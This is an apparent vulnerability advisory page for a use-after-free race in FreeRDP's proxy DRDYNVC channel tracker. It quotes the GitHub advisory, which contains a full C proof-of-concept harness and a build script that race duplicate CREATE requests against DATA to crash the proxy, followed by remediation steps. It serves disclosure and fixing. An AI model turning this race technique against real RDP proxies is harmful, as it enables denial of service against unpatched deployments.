FreeRDP proxy DRDYNVC tracker race causes use-after-free and crash
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- High
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-qw7w-hhxq-763c. Fix status from GitHub. Impact type from CWE-416 and the CVSS impact.
Summary
FreeRDP up to and including 3.32.1 is affected when freerdp-proxy intercepts the static drdynvc channel. A race in the per-channel tracker lets a repeated duplicate channel create request free a context that another thread still uses, which is a use-after-free (CWE-416). A malicious or compromised RDP target server can trigger it, but the attacker also needs an authenticated front session with active dynamic-channel data. The demonstrated impact is a proxy process crash.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
A malicious or compromised RDP target server can repeatedly send DRDYNVC `CREATE_REQUEST_PDU` for a channel id currently used by a front client. In `freerdp-proxy` configured to intercept the static `drdynvc` channel, the backend thread removes and frees the per-channel tracker context while the front thread may still handle concurrent `DATA` using its borrowed pointer. `HashTable_GetItemValue` does not extend the context lifetime; duplicate-id `HashTable_Remove` invokes `DynamicChannelContext_free`, which frees the name string and context. A live ASan two-peer run and independent rerun showed a use-after-free while formatting the freed `channelName`; the ordinary proxy independently died with SIGSEGV in `strlen` through the same log path. The attack requires an authenticated front session with active dynamic-channel data, proxy `drdynvc` interception, and race timing. The backend target attacker needs no proxy credentials. A default all-features-on proxy without an intercepting module or explicit `Intercept=drdynvc` does not enter this tracker route. The demonstrated impact is proxy process denial of service; no controlled replacement, information disclosure, or code execution was demonstrated. [GHSA-6mpx-c8rj-whj5](https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-6mpx-c8rj-whj5) is a distinct server parser/channel-close lifetime issue. ### Reproduction The complete C block is a **focused component reproducer** derived from the archived multipurpose harness. It compiles the production tracker translation units and races front `DATA` against backend duplicate `CREATE` for the same channel id. Save the blocks as `proxy_drdynvc_race.c` and `run.sh` in one directory. Set `FREERDP_SOURCE` to the matching source root and `FREERDP_BUILD` to its already-built ASan tree, then run `sh run.sh` on an isolated host. The process may abort. ```c /* Focused proxy DRDYNVC race harness: compile production tracker translation units. */ #include <pthread.h> #include <stdatomic.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* Pull in the real audited translation units. */ #include "server/proxy/pf_channel.c" #include "server/proxy/channels/pf_channel_drdynvc.c" /* ------------------------------------------------------------------ */ /* Symbols normally provided by the rest of the proxy. For this focused * harness they are stubbed; the stubs do not touch the shared tracker * state under test. */ /* ------------------------------------------------------------------ */ BOOL pf_modules_run_filter(proxyModule* module, PF_FILTER_TYPE type, proxyData* pdata, void* param) { (void)module; (void)pdata; switch (type) { case FILTER_TYPE_INTERCEPT_CHANNEL: { /* behave like a pass-through intercepting module (bitmap-filter / * dyn-channel-dump both set PASS before doing their work) */ proxyDynChannelInterceptData* dyn = (proxyDynChannelInterceptData*)param; if (dyn) dyn->result = PF_CHANNEL_RESULT_PASS; } break; default: break; } return TRUE; } pf_utils_channel_mode pf_utils_get_channel_mode(const proxyConfig* config, const char* name) { (void)config; (void)name; return PF_UTILS_CHANNEL_INTERCEPT; } pClientContext* proxy_data_get_client_context(proxyData* pdata) { return (pClientContext*)pdata->pc; } pServerContext* proxy_data_get_server_context(proxyData* pdata) { return (pServerContext*)pdata->ps; } /* ------------------------------------------------------------------ */ /* fabricated proxy plumbing (never dereferenced on the tested paths) */ /* ------------------------------------------------------------------ */ static pServerContext g_ps; static pClientContext g_pc; static proxyData g_pdata; static pServerStaticChannelContext g_chan; static freerdp_peer g_peer; static BOOL dummy_send_channel_packet(freerdp_peer* client, UINT16 channelId, size_t totalSize, UINT32 flags, const BYTE* data, size_t chunkSize) { (void)client; (void)channelId; (void)totalSize; (void)flags; (void)data; (void)chunkSize; return TRUE; } static BOOL dummy_send_channel_data(pClientContext* pc, const proxyChannelDataEventInfo* ev) { (void)pc; (void)ev; return TRUE; } static void setup_proxy_plumbing(void) { memset(&g_ps, 0, sizeof(g_ps)); memset(&g_pc, 0, sizeof(g_pc)); memset(&g_pdata, 0, sizeof(g_pdata)); memset(&g_chan, 0, sizeof(g_chan)); memset(&g_peer, 0, sizeof(g_peer)); g_pdata.ps = (rdpContext*)&g_ps; g_pdata.pc = (rdpContext*)&g_pc; g_ps.pdata = &g_pdata; g_pc.pdata = &g_pdata; g_ps.context.peer = &g_peer; g_peer.SendChannelPacket = dummy_send_channel_packet; g_pc.sendChannelData = dummy_send_channel_data; g_chan.channel_name = _strdup("drdynvc"); g_chan.channelMode = PF_UTILS_CHANNEL_INTERCEPT; } /* create a channel id entry the same way the target-side create path does */ static pServerDynamicChannelContext* insert_channel(DynChannelContext* dyn, const char* name, UINT32 id, PfDynChannelOpenStatus status) { pServerDynamicChannelContext* c = DynamicChannelContext_new(dyn->log, &g_ps, name, id); if (!c) return NULL; c->openStatus = status; if (!HashTable_Insert(dyn->channels, &c->channelId, c)) { DynamicChannelContext_free(c); return NULL; } return c; } #define RACE_CHANNEL_ID 7 #define RACE_ITERS 2000000 static DynChannelContext* g_dyn; static atomic_int g_stop; static atomic_long g_front_calls; static atomic_long g_back_calls; static void* front_thread(void* arg) { (void)arg; /* DATA_PDU on channel 7: byte0=(DATA_PDU<<4)|0, chId=7, 64 payload bytes */ BYTE pdu[3 + 64]; pdu[0] = (DATA_PDU << 4) | 0x00; pdu[1] = RACE_CHANNEL_ID; memset(&pdu[2], 0x43, sizeof(pdu) - 2); while (!atomic_load(&g_stop)) { (void)channelTracker_update(g_dyn->frontTracker, pdu, sizeof(pdu), CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST, sizeof(pdu)); atomic_fetch_add(&g_front_calls, 1); } return NULL; } static void* back_thread(void* arg) { (void)arg; /* CREATE_REQUEST on channel 7 with a NUL terminated name */ static const char name[] = "rdpgfx"; BYTE create[2 + sizeof(name)]; create[0] = (CREATE_REQUEST_PDU << 4) | 0x00; create[1] = RACE_CHANNEL_ID; memcpy(&create[2], name, sizeof(name)); while (!atomic_load(&g_stop)) { (void)channelTracker_update(g_dyn->backTracker, create, sizeof(create), CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST, sizeof(create)); atomic_fetch_add(&g_back_calls, 1); } return NULL; } static void test_race(void) { printf("== cross-thread race on DynChannelContext->channels (HashTable_New(FALSE)) ==\n"); pServerStaticChannelContext chan = WINPR_C_ARRAY_INIT; chan.channel_name = _strdup("drdynvc"); chan.channelMode = PF_UTILS_CHANNEL_INTERCEPT; g_dyn = DynChannelContext_new(&g_pdata, &chan); if (!g_dyn) { printf("DynChannelContext_new failed\n"); return; } if (!insert_channel(g_dyn, "rdpgfx", RACE_CHANNEL_ID, CHANNEL_OPENSTATE_OPENED)) { printf("insert_channel failed\n"); return; } atomic_store(&g_stop, 0); atomic_store(&g_front_calls, 0); atomic_store(&g_back_calls, 0); size_t nfront = 4; const char* nf = getenv("RACE_FRONT_THREADS"); if (nf) nfront = (size_t)strtoul(nf, NULL, 10); if (nfront == 0) nfront = 1; if (nfront > 16) nfront = 16; printf("front_threads=%zu back_threads=1\n", nfront); pthread_t f[16]; pthread_t b; for (size_t i = 0; i < nfront; i++) pthread_create(&f[i], NULL, front_thread, NULL); pthread_create(&b, NULL, back_thread, NULL); for (int i = 0; i < 200; i++) { struct timespec ts = { .tv_sec = 0, .tv_nsec = 10000000 }; /* 10ms */ nanosleep(&ts, NULL); if (atomic_load(&g_back_calls) > RACE_ITERS) break; } atomic_store(&g_stop, 1); for (size_t i = 0; i < nfront; i++) pthread_join(f[i], NULL); pthread_join(b, NULL); printf("completed front_calls=%ld back_calls=%ld (no sanitizer report)\n", (long)atomic_load(&g_front_calls), (long)atomic_load(&g_back_calls)); /* leave teardown to process exit; the table may be in an inconsistent * state after the race, freeing it here could hide the report. */ } int main(void) { WLog_SetLogLevel(WLog_GetRoot(), WLOG_ERROR); setup_proxy_plumbing(); test_race(); return 0; } ``` ```sh #!/bin/sh # Run in a disposable checkout with an already-built, matching ASan FreeRDP tree. set -eu SRC=${FREERDP_SOURCE:-.} BUILD=${FREERDP_BUILD:-./build} cc -std=gnu11 -g -O1 -fsanitize=address -fno-omit-frame-pointer \ -DWITH_VERBOSE_WINPR_ASSERT -D_FILE_OFFSET_BITS=64 \ -I"$SRC" -I"$SRC/winpr/include" -I"$SRC/include" \ -I"$BUILD" -I"$BUILD/include" -I"$BUILD/winpr/include" \ proxy_drdynvc_race.c -o proxy_drdynvc_race \ -L"$BUILD/winpr/libwinpr" -L"$BUILD/libfreerdp" \ -lwinpr3 -lfreerdp3 -lpthread -lm \ -Wl,-rpath,"$BUILD/winpr/libwinpr" -Wl,-rpath,"$BUILD/libfreerdp" RACE_FRONT_THREADS=1 ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 ./proxy_drdynvc_race ``` The archived original component harness, with one front thread and one backend thread, recorded an ASan `WRITE of size 8` in `DynvcTrackerHandleCmdDATA` after `DynamicChannelContext_free`. More decisively, an independent **live two-peer** test used a malicious target RDP server repeatedly sending `CREATE_REQUEST_PDU` for live id 42, a front `evil` DVC sending concurrent `DATA`, and a proxy configured with `Intercept=drdynvc`. Its fresh ASan run reported `heap-use-after-free`, `READ of size 3` in `dyn_log_`/`DynvcTrackerHandleCmdDATA` on the front thread, with `DynamicChannelContext_free`/`HashTable_Remove` on the backend thread. The freed allocation ASan identified was the five-byte `channelName` string; the enclosing context is freed immediately afterward. A fresh run of the ordinary non-ASan proxy under gdb received `SIGSEGV` in `__strlen_avx2` through the same `dyn_log_` path, and the proxy process died. The inline component reproducer does not reproduce the TCP/NLA setup or establish those live observations by itself. The live client plugin was purpose-built to make concurrent `DATA` traffic; ordinary DVC traffic has the same parser path but was not separately measured. ### Suggested remediation Hold an owned in-flight reference to a channel context across lookup and use, or serialize all front and backend tracker work under one per-session lock. On duplicate CREATE, mark the prior context closing and defer destruction until all current users finish. Test concurrent target CREATE and front DATA on the same id, and an ordinary non-racing DVC exchange. Merely turning on hash-table internal locking would not protect a borrowed pointer after lookup returns.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-qw7w-hhxq-763c |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-qw7w-hhxq-763c
Remediation
Upgrade FreeRDP to version 3.32.2, which fixes this issue.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-qw7w-hhxq-763c FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-qw7w-hhxq-763c
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences